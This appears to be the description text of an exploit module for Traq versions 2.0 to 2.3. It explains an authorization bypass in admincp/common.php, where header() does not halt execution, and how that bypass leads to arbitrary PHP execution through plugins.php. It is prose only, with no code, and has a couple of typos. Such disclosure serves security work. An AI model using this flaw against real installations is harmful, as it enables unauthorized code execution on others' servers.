  				This module exploits an arbitrary command execution vulnerability in
  				Traq 2.0 to 2.3. It's in the admincp/common.php script.
  
  				This function is called in each script located into /admicp/ directory to
  				make sure the user has admin rights, but this is a broken authorization
  				schema due to the header() function doesn't stop the execution flow. This
  				can be exploited by malicious users to execute admin functionality resulting
  				fore.g.in execution of arbitrary PHP code leveraging of plugins.php
  				functionality.
